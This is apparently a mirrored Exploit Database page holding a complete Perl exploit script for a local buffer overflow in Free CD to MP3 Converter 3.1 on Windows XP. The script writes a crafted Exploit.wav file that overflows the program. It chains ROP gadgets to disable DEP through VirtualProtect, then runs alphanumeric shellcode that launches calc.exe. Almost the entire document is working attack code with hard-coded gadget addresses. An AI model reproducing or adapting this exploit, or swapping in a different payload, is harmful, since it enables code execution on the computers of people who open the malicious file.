Free CD to MP3 Converter 3.1 – Universal DEP Bypass

• Exploit Database
• 35 阅读

• 作者： C4SS!0 G0M3S
  日期： 2011-08-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17634/

• #!/usr/bin/perl
  #
  #[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
  #[+]Date: 07\08\2011
  #[+]Author: C4SS!0 G0M3S
  #[+]Version: 3.1
  #[+]Tested On: WIN-XP SP3 Brazilian Portuguese
  #[+]CVE: N/A
  #
  #Dep bypass method: 
  #LoadLibraryA("kernel32.dll") + GetProcAddress(%EAX,"VirtualProtect") + VirtualProtect(%ESP,0x400,0x40,0x10007064) == Universal DEP BYPASS. :)
  # 
  #
  
  print q{
  
  		Created By C4SS!0 G0M3S	
  		E-mail louredo_@hotmail.com
  		Blog net-fuzzer.blogspot.com
  		
  };
  sleep(2);
  #Endereco para LoadLibraryA 0x672CA660
  ##################################ROP FOR LOAD "kernel32.dll"#############################################
  my $rop = pack('V',0x00418764); # POP ESI # RETN
  $rop .= pack('V',0x672CA660); # Address to LoadLibraryA
  $rop .= pack('V',0x00412d09); # POP EBP # RETN
  $rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN// Endereço de retorno da funçao LoadLibraryA
  $rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
  $rop .= "kernel32.dll\x00";
  $rop .= "A" x 27;
  ##################################ROP END HERE###########################################################
  
  #Endereço para GetProcAddress 0x672CA668
  ##################################ROP FOR Function GetProcAddress########################################
  $rop .= pack('V',0x0048004d);# POP EBP # RETN
  $rop .= "\x00\x00\x00\x00";
  $rop .= pack('V',0x00409a7f);# POP EDI # RETN
  $rop .= pack('V',0x672CA668);# Endereço para GetProcAddress
  $rop .= pack('V',0x0042ad45);# PUSH ESP # POP ESI # RETN
  $rop .= pack('V',0x004a1b0e);# POP ESI # RETN 
  $rop .= pack('V',0x004AD39B);# ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN// Endereço de retorno da funçao GetProcAddress
  $rop .= pack('V',0x00421953);# ADD EBP,EAX # RETN
  $rop .= pack('V',0x004c0634);# PUSHAD # RETN 
  $rop .= "VirtualProtect\x00";
  $rop .= "A" x 25;
  ##################################ROP END HERE###########################################################
  
  #################################ROP FOR VirtualProtect#################################################
  $rop .= pack('V',0x0042c786);# XCHG EAX,ESI # RETN // Endereço da VirtualProtect
  $rop .= pack('V',0x004d2c70);# POP EBP # RETN
  $rop .= pack('V',0x0047E58B);# JMP ESP // Endereço de retorno da funçao VirtualProtect
  $rop .= pack('V',0x0046abf7);# POP EBX # RETN
  $rop .= pack('V',0x00000400);# O valor de dwSize 
  $rop .= pack('V',0x00402bb4);# POP EDX # RETN 
  $rop .= pack('V',0x00000040);# Valor de flNewProtect
  $rop .= pack('V',0x10002b9c);# POP ECX # RETN 
  $rop .= pack('V',0x10007064);# Valor de lpflOldProtect
  $rop .= pack('V',0x00472be9);# PUSHAD # POP EBX # RETN 
  #################################ROP END HERE###########################################################
  my $shellcode = 
  "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK".
  "D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO".
  "RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9". #Shellcode Alpha Numeric WinExec "Calc.exe"
  "GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ". #Baseaddress EAX.
  "2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN".
  "LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8".
  "WDN0SUK8WOMV4DNNTWPYWN27KA";
  
  my $buf = "A" x 4112;
  $buf .= $rop;
  $buf .= "\x8B\xC4\x83\xC0\x20\xFF\xD0".("A" x 21).$shellcode;
  print "\t\t[+]Creating File Exploit.wav...\n";
  sleep(1);
  open(f,">Exploit.wav") || die "[-]Error: $!\n";
  print f $buf;
  close f;
  print "\t\t[+]File Exploit.wav Created Successfully.\n";
  sleep(1);